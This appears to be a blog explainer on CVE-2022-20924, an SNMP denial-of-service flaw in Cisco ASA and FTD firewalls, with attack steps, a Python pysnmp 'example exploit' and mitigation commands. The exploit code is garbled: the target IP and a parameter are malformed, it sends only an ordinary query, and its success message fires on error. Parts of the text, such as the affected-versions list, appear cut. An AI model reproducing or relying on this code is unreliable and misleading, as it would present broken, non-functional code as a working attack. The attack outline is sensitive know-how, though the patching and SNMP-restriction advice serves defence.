The cybersecurity world is no stranger to flaws in popular network technologies. One such vulnerability that came to light in 2022—CVE-2022-20924—affects Cisco ASA (Adaptive Security Appliance) Software and Firepower Threat Defense (FTD) Software. In this long form post, we’ll break down what this vulnerability is all about, why it’s dangerous, and how attackers might use it. You'll also see sample code, get direct links to official resources, and learn the possible exploitation details. All of this written in straightforward, American English for accessibility.

What is CVE-2022-20924?

CVE-2022-20924 is a security flaw in the SNMP (Simple Network Management Protocol) feature of Cisco’s flagship firewall products: Cisco ASA and Cisco FTD. SNMP is widely used by network administrators to monitor and manage network devices remotely.

The vulnerability allows an *authenticated remote attacker* to send specially crafted SNMP requests to a vulnerable device, causing it to reload (reboot). When the device reboots, it can’t do its job—leading to a Denial of Service (DoS) for all the users and systems that depend on it.

This problem comes from insufficient input validation—meaning, the code doesn't check incoming SNMP request data thoroughly enough. Attackers can exploit this to crash the device, even though SNMP usually isn't supposed to be a doorway for such disruption.

Cisco FTD Software (various versions)

If you’re running SNMP on these devices and allow requests from untrusted sources (or your SNMP community strings are weak), you might be exposed.

- Cisco Security Advisory: cisco-sa-asaftd-snmpdos-KxJ9Ig5n
- NIST NVD entry: CVE-2022-20924

How Does the Exploit Work?

This vulnerability does not allow attackers to run arbitrary code. Instead, it can be used to crash or restart the firewall device by simply sending a malicious SNMP packet.

Here’s a stepwise look at the attack scenario

1. Authenticated Access: Attacker discovers or already knows a working SNMP community string or SNMPv3 user/password for the device.
2. Crafted SNMP Request: Attacker uses a tool or script to send a malformed SNMP request to the device over the network.
3. Device Crash: Due to the lack of input validation, the device receives the bad request, cannot process it, and reloads or crashes.
4. Denial of Service: The crash or reload process makes the device stop inspecting and forwarding network traffic, which could bring down internet, VPN, or internal connectivity for hours.

Example Exploit: Crafting a Malicious SNMP Packet

> Disclaimer: Running attack scripts or testing exploits on devices you do not own or have explicit permission to test could be illegal and unethical. These examples are shown for educational and defensive purposes only.

Suppose the attacker has discovered your SNMP community string ('public'). They can use Python’s pysnmp library to send malformed SNMP requests.

from pysnmp.hlapi import *

# Replace '192..2.1' with target Cisco ASA/FTD device IP
# Replace 'public' with actual community string
errorIndication, errorStatus, errorIndex, varBinds = next(
    getCmd(
        SnmpEngine(),
        CommunityData('public', mpModel=),  # "public" is the community string
        UdpTransportTarget(('192..2.1', 161)),  # SNMP UDP port
        ContextData(),
        # Now send a deliberately malformed OID (this length or encoding could trigger DoS)
        ObjectType(ObjectIdentity('1.3.6.1.2.1.99999.1'))
    )
)
if errorIndication:
    print('Malicious SNMP packet sent.')

Of course, the real exploit might use more specific malformed values or encode the SNMP packet in a way that tickles the vulnerable parsing logic inside Cisco ASA or FTD. Tools like snmpbulkwalk or custom Scapy scripts can also be harnessed.

Mitigation and Fix

Cisco released software updates that fix the insufficient input validation. If you operate Cisco ASA or FTD, upgrade immediately to a fixed version as described in the Cisco Advisory. As a temporary measure, restrict or disable SNMP access:

IOS Example (disable SNMP v2 community "public")

no snmp-server community public

ASA Example (disable SNMP/limit hosts)

no snmp-server host OUTSIDE

Or, limit SNMP requests to specific, trusted management networks and use complex community strings or SNMPv3 with strong authentication.

CVE-2022-20924 is a serious SNMP input validation bug on Cisco security devices leading to DoS.

- An attacker needs an SNMP community or SNMPv3 credentials, but those are widely leaked or guessable in the wild.

Patch your Cisco devices promptly and review your SNMP settings to avoid being caught off guard.

Stay safe, check your security advisories often, and always control SNMP on critical network devices!


Further Reading  
- Cisco’s Product Security Incident Response Team (PSIRT) Blog
- NIST NVD - SNMP Vulnerabilities

Timeline

Published on: 11/15/2022 21:15:00 UTC
Last modified on: 11/22/2022 14:36:00 UTC